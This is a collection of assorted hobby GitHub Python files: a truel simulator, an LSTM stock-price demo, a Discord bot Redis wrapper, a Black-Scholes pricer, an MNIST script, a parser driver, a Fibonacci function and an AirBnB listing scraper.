reset\n\n\t# \treturn __init_and_copy__\n\t\n###############################\n###############################\n\n\nclass TruelExperiment():\n\t@resettable\n\tdef __init__(self):\n\t\tself.num_experiments = 0\n\t\tself.results = []\n\t\tself.bullet_results = []\n\t\tself.shooters = []\n\t\tself.num_shooters = 0\n\t\tself.strategy = 0\n\n################ input functions\n\n\tdef ask_strategy(self):\n\t\tquestion = \"\"\"There are three possible strategies:\n\t\tStrategy 1: First shooter shoots in air, everyone then shoots at next most accurate person\n\t\tStrategy 2: First shooter shoots at most accurate shooter (excluding themself)\n\t\tStrategy 3: First shooter shoots at second most accurate shooter (excluding themself)\n\n\t\tStrategy choice: \"\"\"\n\n\t\ttry:\n\t\t\tanswer = int(input(question))\n\t\t\treturn answer\n\t\texcept:\n\t\t\tprint(\"Enter the corresponding number - 1, 2, or 3 - to your strategy selection.\\n\")\n\t\t\treturn self.ask_strategy()\t\t\t\t\t\n\t\t\n\t\t\n\tdef ask_name(self, shooter):\n\t\ttry:\n\t\t\tshooter.name = input(\"What is the name of Shooter %d? \" %(shooter.number))\n\t\t\treturn shooter.name\n\t\texcept:\n\t\t\treturn self.ask_name(shooter)\n\n\tdef ask_hit_probability(self, shooter):\n\t\ttry:\n\t\t\tshooter.hit_probability = eval(input(\"What is %s's hit probability (between 0 and 1, inclusive)? \" %(shooter.name)))\n\t\t\tif shooter.hit_probability < 0:\n\t\t\t\treturn self.ask_hit_probability(shooter)\n\t\t\telif shooter.hit_probability > 1:\n\t\t\t\treturn self.ask_hit_probability(shooter)\n\t\t\telse:\n\t\t\t\treturn shooter.hit_probability\n\t\texcept:\n\t\t\tprint(\"Enter a number.\")\n\t\t\treturn self.ask_hit_probability(shooter)\n\n\tdef ask_num_experiments(self):\n\t\ttry:\n\t\t\tself.num_experiments = int(input('How many rounds of shooting would you like in this truel experiment? '))\t\n\t\t\treturn self.num_experiments\n\t\texcept:\n\t\t\tprint(\"Enter an integer.\")\n\t\t\treturn self.ask_num_experiments()\n\n\tdef ask_first_shooter(self):\n\t\ttry:\n\t\t\tfor shooter in self.shooters:\n\t\t\t\tprint(\"%d:\" %(shooter.number), shooter.get_name(), \" - Hit Probability: %f\" %(shooter.get_hit_probability()))\n\t\t\tfirst_shooter = int(input(\"Which shooter fires first? \"))\n\t\t\treturn first_shooter\n\t\texcept:\n\t\t\tprint(\"Enter an integer.\")\n\t\t\treturn self.ask_first_shooter()\n\n\tdef ask_num_shooters(self):\n\t\ttry:\n\t\t\tprint(\"Traditionally, 3 shooters participate in a truel.\")\n\t\t\tself.num_shooters = int(input('How many shooters will participate in this truel? '))\n\t\t\treturn self.num_shooters\n\t\texcept:\n\t\t\tprint(\"Enter an integer.\")\n\t\t\treturn self.ask_num_shooters()\n\n\tdef ask_about_shooters(self):\n\t\ttry:\n\t\t\tfor number in range(0, self.num_shooters):\n\t\t\t\tself.shooters.append(Shooter())\n\t\t\ti = 1\n\t\t\tfor shooter in self.shooters:\n\t\t\t\tshooter.number = i\n\t\t\t\ttry:\n\t\t\t\t\tshooter.name = self.ask_name(shooter)\n\t\t\t\texcept:\n\t\t\t\t\tshooter.name = self.ask_name(shooter)\n\t\t\t\ttry:\n\t\t\t\t\tshooter.hit_probability = self.ask_hit_probability(shooter)\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"Enter a number.\")\n\t\t\t\t\tshooter.hit_probability = self.ask_hit_probability(shooter)\n\t\t\t\ti = i + 1\n\t\t\treturn self.shooters\n\t\texcept:\n\t\t\treturn self.ask_about_shooters()\n\n#####################\n\n\tdef know_strategy(self, answer):\n\t\tif answer == '':\n\t\t\treturn self.ask_strategy()\n\t\telif answer == 1:\n\t\t\tself.strategy = 1\n\t\t\treturn self.strategy\n\t\telif answer == 2:\n\t\t\tself.strategy = 2\n\t\t\treturn self.strategy\n\t\telif answer == 3:\n\t\t\tself.strategy = 3\n\t\t\treturn self.strategy\n\t\telse:\n\t\t\treturn self.ask_strategy()\n\n\tdef know_starter(self, first_shooter): #first_shooter is an int\n\t\tstarter = self.shooters[first_shooter - 1]\n\t\treturn starter #starter is a shooter\n\n\tdef conduct_experiment(self, t):\n\t\tself.num_experiments = self.ask_num_experiments()\n\t\tprint('strategy', self.strategy)\n\t\tfor experiment in range(0, self.num_experiments):\n\t\t\tt.reset() \t#resets some truel values for each round \n\n\t\t\tif self.strategy == 1:\n\t\t\t\twinner = None\n\t\t\t\t# print(first_shooter.get_name(), \"shoots in the air!\")\n\t\t\t\twinner = t.strategy1()\n\n\t\t\tif self.strategy == 2:\n\t\t\t\twinner = None\n\t\t\t\t# print(first_shooter.get_name(), \"shoots at the next most accurate shooter!\")\n\t\t\t\twinner = t.strategy2()\n\n\t\t\tif self.strategy == 3:\n\t\t\t\twinner = None\n\t\t\t\t# print(first_shooter.get_name(), \"shoots at the second most accurate shooter!\")\n\t\t\t\twinner = t.strategy3()\n\n\t\t\tself.results.append(winner.number)\n\t\t\tself.bullet_results.append(winner)\n\n\n\n\tdef main(self):\n\n\t\t#TODO handle infinite loop by limiting max number of rounds\n\t\tte = TruelExperiment()\n\n\t\tte.num_shooters = te.ask_num_shooters() #int\n\t\tte.shooters = te.ask_about_shooters() #list of shooter objects\n\t\tstrategy_choice = te.ask_strategy() #int\n\t\tte.strategy = te.know_strategy(strategy_choice)\n\t\tfirst_shooter = te.ask_first_shooter() #int\n\t\tstarter = te.know_starter(first_shooter)\n\n\t\tt = Truel(te.shooters, te.strategy, starter)\n\n\t\tte.results = te.conduct_experiment(t) \n\n\t\t\n\n\t\treplay = input(\"\\nWould you like to play again? Enter yes or no: \")\n\n\t\tif replay[0].lower().strip() == 'y':\n\t\t\treturn self.main()\n\t\telif replay[0].lower().strip() == 'n':\n\t\t\treturn sys.exit(0)\n\t\telse:\n\t\t\tself.main()\n\n\nif __name__ == \"__main__\":\n\tTruelExperiment().main()\n","repo_name":"BachmanAsksWhy/truel","sub_path":"truel_game.py","file_name":"truel_game.py","file_ext":"py","file_size_in_byte":11121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73487951944","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom tensorflow.keras.preprocessing.text import Tokenizer\r\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\r\n\r\n# 生成示例数据\r\ndata = {\r\n 'date': pd.date_range(start='2023-08-01', periods=60, freq='D'),\r\n 'price': np.random.rand(60) * 100,\r\n 'news': ['news {}'.format(i) for i in range(60)]\r\n}\r\ndf = pd.DataFrame(data)\r\n\r\n# 对price进行归一化\r\nscaler = MinMaxScaler()\r\ndf['price'] = scaler.fit_transform(np.array(df['price']).reshape(-1, 1))\r\n\r\n# 对news进行分词和编码\r\nmax_words = 1000\r\nmax_len = 20\r\ntokenizer = Tokenizer(num_words=max_words)\r\ntokenizer.fit_on_texts(df['news'])\r\nX_text = tokenizer.texts_to_sequences(df['news'])\r\nX_text = pad_sequences(X_text, maxlen=max_len)\r\n\r\n# 设置时间窗口\r\ninput_window = 10\r\noutput_window = 5\r\n\r\n# 准备特征和标签\r\nX, y = [], []\r\nfor i in range(len(df) - input_window - output_window):\r\n X.append(df['price'].iloc[i: i + input_window].values)\r\n y.append(df['price'].iloc[i + input_window: i + input_window + output_window].values)\r\n\r\nX, y = np.array(X), np.array(y)\r\n\r\nfrom tensorflow.keras.models import Model\r\nfrom tensorflow.keras.layers import Input, LSTM, Dense\r\n\r\n# LSTM模型\r\ninput_layer = Input(shape=(input_window, 1))\r\nlstm_layer = LSTM(64, return_sequences=False)(input_layer)\r\noutput_layer = Dense(output_window)(lstm_layer)\r\n\r\nmodel = Model(inputs=input_layer, outputs=output_layer)\r\n\r\n# 编译模型\r\nmodel.compile(loss='mean_squared_error', optimizer='adam')\r\n\r\n# 模型摘要\r\nmodel.summary()\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n# 分割数据集\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n\r\n# 训练模型\r\nmodel.fit(X_train, y_train, batch_size=8, epochs=100, validation_split=0.2)\r\n# 预测未来的股票价格\r\ny_pred = model.predict(X_test)\r\n\r\n# 反归一化\r\ny_test_inv = scaler.inverse_transform(y_test.reshape(-1, output_window))\r\ny_pred_inv = scaler.inverse_transform(y_pred)\r\n\r\n# 打印结果\r\nprint(\"Predicted Prices:\", y_pred_inv)\r\nprint(\"Actual Prices:\", y_test_inv)\r\n","repo_name":"Logik-Luo/Quint_Intern","sub_path":"LSTM predict stock.py","file_name":"LSTM predict stock.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"6284404477","text":"\"\"\"\n\n Python Türkiye Sunucusu Discord Botu\n MIT © Kadir Aksoy\n https://github.com/kadir014/python-turkiye-discord-bot\n\n\"\"\"\n\nfrom urllib.parse import urlparse\nimport time\nimport redis\nimport discord\nfrom src.common import REDIS_URL\n\n\nclass Database:\n \"\"\" Hafif Redis wrapperı \"\"\"\n\n def __init__(self):\n url = urlparse(REDIS_URL)\n\n start = time.perf_counter()\n\n self.__redis = redis.Redis(\n host = url.hostname,\n port = url.port,\n username = url.username,\n password = url.password,\n ssl = False,\n ssl_cert_reqs = None\n )\n\n self.conn_elapsed = time.perf_counter() - start\n\n # Son 1000 query ölçümü\n self.timer_queries = []\n\n def __getitem__(self, member: discord.Member) -> int:\n \"\"\"\n Veritabanından kullanıcı ID'si ile örtüşen değeri getirir\n Eğer yoksa yeni entry oluşturur\n \"\"\"\n\n if not isinstance(member, discord.Member):\n raise ValueError(f\"expected discord.Member but got {type(member)}\")\n\n if self.__redis.exists(str(member.id)):\n self.timer_start()\n xp = int(self.__redis.get(str(member.id)))\n self.timer_end()\n return xp\n\n else:\n self.new_user(member)\n\n def __setitem__(self, member: discord.Member, xp: int):\n \"\"\"\n Veritabanında yeni key-value entrysi oluşturur\n \"\"\"\n\n if not isinstance(member, discord.Member):\n raise ValueError(f\"expected discord.Member but got {type(member)}\")\n\n self.timer_start()\n self.__redis.set(str(member.id), xp)\n self.timer_end()\n\n def new_user(self, member: discord.Member):\n \"\"\"\n Veritabanına yeni kullanıcıyı ekler\n \"\"\"\n\n self.__setitem__(member, 1)\n\n def remove_user(self, member: discord.Member):\n \"\"\"\n Veritabanından kullanıcıyı kaldırır\n \"\"\"\n\n self.timer_start()\n self.__redis.delete(str(member.id))\n self.timer_end()\n\n def get_client_info(self) -> dict[str, str]:\n \"\"\"\n Redis CLIENT INFO komutu ile bağlantı ve kullanım bilgilerini alır\n \"\"\"\n\n info = {}\n\n cinfo = self.__redis.client_info()\n\n info[\"age\"] = cinfo[\"age\"]\n info[\"flags\"] = cinfo[\"flags\"]\n info[\"memory\"] = cinfo[\"tot-mem\"]\n\n return info\n\n def timer_start(self):\n self.timer = time.perf_counter()\n\n def timer_end(self):\n elapsed = time.perf_counter() - self.timer\n self.timer_queries.append(elapsed)\n\n if len(self.timer_queries) > 1000:\n self.timer_queries.pop(0)\n\n @property\n def average_query(self) -> float:\n if len(self.timer_queries) == 0: return 0.0\n return sum(self.timer_queries) / len(self.timer_queries)","repo_name":"kadir014/python-turkiye-discord-bot","sub_path":"src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"81"} +{"seq_id":"73487950984","text":"# Black-Scholes 模型是一种非常经典的期权定价模型,由 Fischer Black、Myron Scholes 和 Robert Merton 在1970年代提出\r\n# EO: European Option\r\nimport math\r\nfrom scipy.stats import norm\r\n\r\ndef black_scholes(S, K, r, sigma, T, option_type='call'):\r\n \"\"\"\r\n 计算欧式期权的价格。\r\n\r\n 参数:\r\n S : float\r\n 股票当前价格\r\n K : float\r\n 期权行权价格\r\n r : float\r\n 无风险利率\r\n sigma : float\r\n 股票年化波动率\r\n T : float\r\n 期权到期时间 (以年为单位)\r\n option_type : str\r\n 期权类型 ('call' 表示看涨期权, 'put' 表示看跌期权)\r\n\r\n 返回:\r\n float\r\n 期权价格\r\n \"\"\"\r\n\r\n d1 = (math.log(S / K) + (r + 0.5 * sigma ** 2) * T) / (sigma * math.sqrt(T))\r\n d2 = d1 - sigma * math.sqrt(T)\r\n\r\n if option_type == 'call':\r\n return S * norm.cdf(d1) - K * math.exp(-r * T) * norm.cdf(d2)\r\n elif option_type == 'put':\r\n return K * math.exp(-r * T) * norm.cdf(-d2) - S * norm.cdf(-d1)\r\n else:\r\n raise ValueError(\"Invalid option type. Use 'call' or 'put'\")\r\n\r\n# 使用 Black-Scholes 模型计算期权价格\r\n# 输入参数\r\nS = 100 # 股票当前价格,例如 $100\r\nK = 110 # 期权行权价格,例如 $110\r\nr = 0.05 # 无风险利率,例如 5%\r\nsigma = 0.2 # 股票年化波动率,例如 20%\r\nT = 1 # 期权到期时间,例如 1 年\r\n\r\n# 计算欧式看涨期权和看跌期权的价格\r\ncall_price = black_scholes(S, K, r, sigma, T, option_type='call')\r\nput_price = black_scholes(S, K, r, sigma, T, option_type='put')\r\n\r\n# 输出结果\r\nprint(\"European Call Option Price: ${:.2f}\".format(call_price))\r\n# 这个值表示按照Black-Scholes模型计算得到的欧式看涨期权的理论市场价格是$10.42\r\n# 看涨期权给予持有者在特定到期日期前以特定价格(行权价格)购买一定数量基础资产(例如股票)的权利,但不具有义务,\r\n# 简单地说,如果你购买了这个看涨期权,你需要支付$10.42作为期权的价格。\r\nprint(\"European Put Option Price: ${:.2f}\".format(put_price))\r\n# 这个值表示按照Black-Scholes模型计算得到的欧式看跌期权的理论市场价格是$12.80。\r\n# 看跌期权给予持有者在特定到期日期前以特定价格(行权价格)出售一定数量基础资产(例如股票)的权利,但不具有义务。\r\n# 简单地说,如果你购买了这个看跌期权,你需要支付$12.80作为期权的价格","repo_name":"Logik-Luo/Quint_Intern","sub_path":"Black-Scholes to calculate EO.py","file_name":"Black-Scholes to calculate EO.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"2455388534","text":"# TF之LiR:基于tensorflow实现手写数字图片识别准确率\n\nimport os\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\nprint(mnist)\n\n# 设置超参数\nlr = 0.001 # 学习率\ntraining_iters = 100 # 训练次数\nbatch_size = 128 # 每轮训练数据的大小,如果一次训练5000张图片,电脑会卡死,分批次训练会更好\ndisplay_step = 1\n\n# tf Graph的输入\nx = tf.placeholder(tf.float32, [None, 784])\ny = tf.placeholder(tf.float32, [None, 10])\n\n# 设置权重和偏置\nw = tf.Variable(tf.zeros([784, 10]))\nb = tf.Variable(tf.zeros([10]))\n\n# 设定运行模式\npred = tf.nn.softmax(tf.matmul(x, w) + b) #\n# 设置cost function为cross entropy\ncost = tf.reduce_mean(-tf.reduce_sum(y * tf.log(pred), reduction_indices=1))\n# GD算法\noptimizer = tf.train.GradientDescentOptimizer(lr).minimize(cost)\n\n# 初始化权重\ninit = tf.global_variables_initializer()\n# 开始训练\nwith tf.Session() as sess:\n sess.run(init)\n for epoch in range(training_iters): # 输入所有训练数据\n avg_cost = 0.\n total_batch = int(mnist.train.num_examples / batch_size)\n for i in range(total_batch): # 遍历每个batch\n batch_xs, batch_ys = mnist.train.next_batch(batch_size)\n _, c = sess.run([optimizer, cost], feed_dict={x: batch_xs, y: batch_ys}) # 把每个batch数据放进去训练\n avg_cost == c / total_batch\n if (epoch + 1) % display_step == 0: # 显示每次迭代日志\n print(\"迭代次数Epoch:\", \"%04d\" % (epoch + 1), \"下降值cost=\", \"{:.9f}\".format(avg_cost))\n print(\"Optimizer Finished!\")\n\n # 测试模型\n correct_prediction = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\n accuracy = tf.equal_mean(tf.cast(correct_prediction), tf.float32)\n print(sess.run(accuracy, feed_dict={x: mnist.test.images, y: mnist.test.labels}))\n #print(\"Accuracy:\", accuracy_eval({x: mnist.test.image[:3000], y: mnist}))","repo_name":"xiaomaha/goodone","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22258915503","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# #Strings-Single Line String and Multi Line String\n\n# In[8]:\n\n\ns='how are you'\nprint(s)\n\n\n# In[10]:\n\n\ns=\"how are you\"\nprint(s)\n\n\n# In[11]:\n\n\ns='''how are you?\n i am fine.\n glad to know this.'''\nprint(s) \n\n\n# In[12]:\n\n\ns=\"\"\"how are you?\n i am fine.\n glad to know this.\"\"\"\nprint(s) \n\n\n# In[14]:\n\n\ns=\"\"\"my name is {}.I am software {}\"\"\"\n\n\n# In[15]:\n\n\ns.format(\"arun\",\"professional\")\n\n\n# In[19]:\n\n\ns=\"\"\"my name is {1}.I am software {0}\"\"\"\n\n\n# In[20]:\n\n\ns.format(\"arun\",\"professional\")\n\n\n# In[21]:\n\n\ns = \"How are you!\"\nprint(s)\n\n\n# In[24]:\n\n\ns = \"How\\nare\\n\\t\\tyou!\"\nprint(s)\n\n\n# ###Python String | ljust(), rjust(), center(),zfill()\n\n# In[69]:\n\n\ns = \"50\"\ns1 = s.ljust(20)\ns2 = s.rjust(20)\ns3 = s.center(20)\ns4 = s.zfill(20)\n\n\n# In[70]:\n\n\nprint(repr(s))\nprint(repr(s1))\nprint(repr(s2))\nprint(repr(s3))\nprint(repr(s4))\n\n\n# In[63]:\n\n\ntxt = \"50\"\nx = txt.zfill(10)\n\nprint(x)\n\n\n# In[26]:\n\n\ns = \"How are you my friend\"\ns1 = s.center(30, '=')\nprint(s1)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"arun4712/PythonTutorial","sub_path":"String_1.py","file_name":"String_1.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"42644854541","text":"import math\ndef solution(progresses, speeds):\n days = []\n answer = []\n \n for idx in range(len(progresses)):\n days.append(math.ceil((100-progresses[idx])/speeds[idx]))\n days.reverse()\n\n\n per=len(days)\n while per>0:\n if len(days)==0:\n break\n per=len(days)\n front=days[len(days)-1]\n if front==max(days):\n answer.append(len(days))\n for roll in range(len(days)):\n days.pop()\n elif front==days[0]:\n answer.append(len(days))\n for roll in range(len(days)):\n days.pop()\n else:\n per=len(days)-1\n for index in range(per,-1,-1):\n if front 0: #per의 길이가 0보다 클 동안\n # per = len(days) #days의 길이만큼 per에 저장\n # if per==0: #per의 길이가 0이면 끝내기\n # break\n # if days[per-1]==max(days): \n # answer.append(len(days))\n # for roll in range(len(days)):\n # days.pop()\n # else:\n # per =len(days)-1\n # for idx in range(per-1,0,-1):\n # tmp=days[per-1]\n # if tmpdays[idx]:\n # cnt+=1\n\n # return answer\n##내가 구현하고 싶은 내용\n# 맨 앞의 인덱스를 저장해두고, 맨 앞의 인덱스보다 큰 값이 나타나면 \n# 해당 값이 나타난 인덱스를 전체 길이에-1 해서 뺀 다음 \n# 그 값만큼 돌린다.\n# 만약 맨 앞의 인덱스가 제일 크면 해당 리스트의 길이만큼 저장\n\nprint(solution([95, 90, 99, 99, 80, 99], [1, 1, 1, 1, 1, 1]))\nprint(solution([93, 30, 55],[1, 30, 5]))\nprint(solution([5,5,5],[21,25,20]))\n\n # - 리스트의 0부터 차례대로 돈다\n # - 인덱스의 다음 값이 돌고 있는 인덱스보다 크면\n # 인덱스의 값 +1 을 정답 리스트에 저장하고 인덱스를 리스트에서 뺸다.\n # if days[idx-1] > days[idx] :\n # answer.append(cnt)\n # for roll in range(0,cnt):\n # days.pop()\n # break\n # if days[idx-1] <= days[idx]:\n # tmp = days[idx]\n # if tmp=days[com2]:\n # cnt+=1\n # else:\n # answer.append(cnt)\n # break\n # for com1 in per:\n # cnt=1\n # for com2 in range(1,len(days)):\n # if days[com1]= 0.5:\n self.to_gr.send(post)\n\n # self.li_in.send('ping')\n # print('nothing new here...')\n time.sleep(2)\n","repo_name":"Trinfear/Twitter-Sentiment-Analysis","sub_path":"ClassifierClass.py","file_name":"ClassifierClass.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"1231677772","text":"import procesador\nimport re\nimport firstFollow\nimport leftRight\nimport draw\nimport tabla\nimport pandas as pd\narchivo1='par1.yalp' #YALP\n\narchivo2='par1.yal'\n\ninside_block_comment = False\nnoentra=['@','/','!','&','^','$','#','[]']\n\n\n#YALP\nwith open(archivo1,'r') as file:\n content=file.read()\n\n\n#YALEX\nwith open(archivo2,'r') as file2:\n content2=file2.read()\n\n\nlineas = content.split('\\n')\n\n\n# Buscar %% en el file \ntry:\n tokens,productos = content.split('%%')\n \nexcept:\n print(\"El operador %% no esta en el arachivo\")\n exit()\n\n\ntokenList=[]\nfiltered_lines=[]\n\nfor line in lineas:\n if line.startswith(\"/*\"):\n if inside_block_comment:\n #si estamos en un bloque de comentario, revisar si alli termina o sigue\n if '*/' in line and inside_block_comment or '*)' in line and inside_block_comment:\n \n inside_block_comment = False # found the end of the comment\n else:\n #revisar si comienza el bloque de comentario\n if '/*' in line or '(*' in line:\n inside_block_comment = True # found the start of a comment\n if '*/' in line and inside_block_comment or '*)' in line and inside_block_comment:\n inside_block_comment=False\n \n else:\n #si no se esta en un comentario, se agrega a la lista\n filtered_lines.append(line)\n\nif inside_block_comment:\n print(\"No se cerro un comentario\")\n exit()\nelse:\n pass\n\nfor char in noentra:\n for i in filtered_lines:\n if char in i:\n print(\"Hay caracteres sin reconocer en la linea\",i)\n print(char)\n exit()\n else:\n pass\n\n\nfor i in filtered_lines:\n if i.startswith(\"%token\"):\n line_tokens = i[len(\"%token\"):].strip().split(' ')\n tokenList.extend(line_tokens)\n elif i.startswith(''):\n pass\n elif not i.startswith('IGNORE') and not i.startswith('/*'):\n print(\"error a la hora de definir tokens \")\n\n\nlineas = content2.split('\\n')\nfor i, line in enumerate(lineas):\n if re.match(r\"^rule tokens = .*?$\", line):\n rule_tokens_index = i\n break\n\ntokensYal=[]\nif rule_tokens_index is not None:\n for line in lineas[rule_tokens_index + 1:]:\n match = re.search(r\"\\{\\s*(.*?)\\s*\\}\", line)\n if match and match.group(1): \n tokensYal.append(match.group(1))\n \ntokens, dictProductos=procesador.yalp(content,tokens,content)\n\nproductsConve ={}\nfor key,value in dictProductos.items():\n productsConve[key]=[rule.split() for rule in value]\n\nprint(tokenList)\nprint(tokensYal)\n\n\nif len(tokenList)== len(tokensYal):\n estados, transiciones = leftRight.CC(productsConve)\n print(\"Estados\")\n for i, estados in enumerate(estados):\n print(f'{i}: {estados}')\n \n print('\\nTransiciones:')\n for transition in transiciones:\n print(f'{str(transition[0])} - \\'{transition[1]}\\' to {str(transition[2])}')\n \n\n estados, transiciones = leftRight.CC(productsConve) \n draw.automara(estados,transiciones) \n\n converted_prod = procesador.convertir(dictProductos)\n first = firstFollow.firsts(converted_prod)\n follow = firstFollow.follows(converted_prod, first)\n \n\n\n print(\"\\n-----Firsts-----\")\n for noTermilal, firSet in first.items():\n print(f\"{noTermilal}: {firSet}\")\n\n print(\"\\n-----Follow-----\")\n for noTermilal, follows in follow.items():\n print(f\"{noTermilal}: {follows}\")\n\n\n #Convertir los sets en listas para que pandas entienda\n terminals, no_terminals = firstFollow.terminalesyno(productsConve)\n terminals = list(terminals)\n no_terminals = list(no_terminals)\n\n\n action_table, goto_table, production_list, error_list = tabla.generate_slr_tables(estados, transiciones, productsConve, follow, no_terminals, terminals)\n\n # concatenated_table = pd.concat([action_table, goto_table], axis=1, keys=['Accion', 'Goto'])\n action_df = pd.DataFrame(action_table)\n goto_df = pd.DataFrame(goto_table)\n concatenated_table = pd.concat([action_df, goto_df], axis=1, keys=['Accion', 'Goto'])\n\n\n concatenated_table = concatenated_table.fillna('-')\n\n #Tabla y errores\n print('\\nTabla SLR')\n print(concatenated_table,'\\t')\n if len(error_list) > 0:\n print(\"\\nErrores encontrados:\")\n for error in error_list:\n print(error)\n else:\n pass\nelse:\n print(\"Los tokens no estan correctos\") ","repo_name":"rsmith1220/LaboratorioF","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4911258831","text":"from functools import lru_cache\n\n\n@lru_cache(maxsize=None)\ndef mfib(n):\n \"\"\"\n Expedite the recursive Fibonacci algorithm using memoization technique.\n \"\"\"\n if n < 2: # base case\n return n\n return mfib(n - 2) + mfib(n - 1) # recursive case\n\n\nif __name__ == \"__main__\":\n n = int(input())\n print(mfib(n))\n","repo_name":"GreatBahram/dsa","sub_path":"algorithmic-toolbox/week02/assignment/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39813651237","text":"from django.conf.urls import patterns, url\n\nfrom battles import views\n\nurlpatterns = patterns('',\n url(r'createPlayer', views.ajaxCreatePlayerView, name='createPlayer'),\n url(r'startBattle', views.ajaxStartBattleView, name='startBattle'),\n url(r'chooseMove', views.ajaxChooseMoveView, name='chooseMove'),\n url(r'getBattleDetails', views.ajaxGetBattleDetailsView, name='getBattleDetails'),\n url(r'^$', views.battleView, name='battle'),\n)\n","repo_name":"Barker404/SELP","sub_path":"selpsite/battles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3503931539","text":"\"\"\"\nMake prediction in _predict_tide\n\n lats : np.ndarray\n Latitudes of the positions to predict.\n times : np.ndarray\n Array of matplotlib datenums (see `matplotlib.dates.num2date').\n\n coef : utide.utilities.Bunch\n Configuration options for utide.\n amplitudes : np.ndarray\n Amplitude of the relevant constituents shaped [nconst].\n phases : np.ndarray\n Array of the phase of the relevant constituents shaped [nconst].\n\"\"\"\n\nfrom utide import reconstruct, ut_constants\nfrom utide.utilities import Bunch\nimport numpy as np\nimport pandas as pd\nimport matplotlib.dates as mdates\nimport pdb\nimport os\nfrom datetime import datetime, timedelta\npd.options.mode.chained_assignment = None\n\ndef get_TidalCoef(geo_location, reftime):\n\n # The major constituents only\n constituents = ['M2', 'K1', 'S2', 'O1']\n const_idx = np.asarray([ut_constants['const']['name'].tolist().index(i) for i in constituents])\n frq = ut_constants['const']['freq'][const_idx]\n\n coef = Bunch(name=constituents, mean=0, slope=0)\n coef['aux'] = Bunch(reftime=reftime, lind=const_idx, frq=frq)\n coef['aux']['opt'] = Bunch(twodim=False, nodsatlint=False,\n nodsatnone=True, gwchlint=False, gwchnone=False, nodiagn=True, \n notrend=True, prefilt=[])\n\n # read in the TPXO file\n # locate the coefficients belonging to the geo_location name (e.g. 'Tokyo')\n TPXOpath = os.getcwd() + \"/Required/TPXO/TPXO_ext_tides.csv\" # path of data file output\n df_tpxo = pd.read_csv(TPXOpath, delimiter=',', engine='python') \n print(\"Extracting data from specific location\")\n print(geo_location)\n\n df_tpxo_ext = df_tpxo.loc[df_tpxo['Name'] == geo_location]\n lats = df_tpxo_ext['Lat'].to_numpy().flatten()\n lons = df_tpxo_ext['Lon'].to_numpy().flatten()\n\n amplitude = df_tpxo_ext[['M2_amp','K1_amp','S2_amp','O1_amp']].to_numpy().flatten()\n phase = df_tpxo_ext[['M2_phs','K1_phs','S2_phs','O1_phs']].to_numpy().flatten() \n \n coef['aux']['lat'] = float(lats) # float\n \n coef['A'] = amplitude\n coef['g'] = phase\n coef['A_ci'] = np.zeros(amplitude.shape)\n coef['g_ci'] = np.zeros(phase.shape)\n\n return coef\n","repo_name":"timjsmyth/TidalLight","sub_path":"Model/get_TidalCoef.py","file_name":"get_TidalCoef.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"17644543475","text":"\"\"\"\nThis script is used to scrape AirBnB's listings pages for its content\n* scrapes every listing found in the listing collection\n\nDEPENDENCIES:\n1) extract_listings_from_search_results.py > MongoDB 'listing' collection\n\nPOTENTIAL ISSUES:\n1) Gettign Blocked/Banned:\n * While I did this file, I got stopped several times.\n * At a certain point, I used a VPN from Canada to scrape\n * Thankfully, I had a 3500+ chunk that I was able to do overnight\n\nNOTES: make sure mongod running. use `sudo mongod` in terminal\n\"\"\"\n\nfrom airbnb.airbnblisting import AirBnBListing\nimport time\n\nDB_NAME = 'airbnb'\nCOLL_NAME = 'listings'\n\n\ndef main():\n air_listing = AirBnBListing(db_name=DB_NAME, coll_name=COLL_NAME)\n\n # grab a dict of listings that haven't yet been scraped\n # based off of the existings of the 'dt' field\n listing_dicts = list(air_listing.coll.find({'dt': {'$exists': 0}}, {'_id': 1}))\n\n # for each listing not yet pulled, attempt to scrape & insert into the db\n\n for listing in listing_dicts:\n listing_id = listing['_id']\n air_listing.scrape_and_insert(listing_id=listing_id, overwrite=True)\n\n # print \"Scraping & Adding %s\" % listing_id\n\n time.sleep(3) # as to not get banned from AirBnB\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gscottstukey/Localebnb","sub_path":"libs/scrape_listings.py","file_name":"scrape_listings.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"81"} 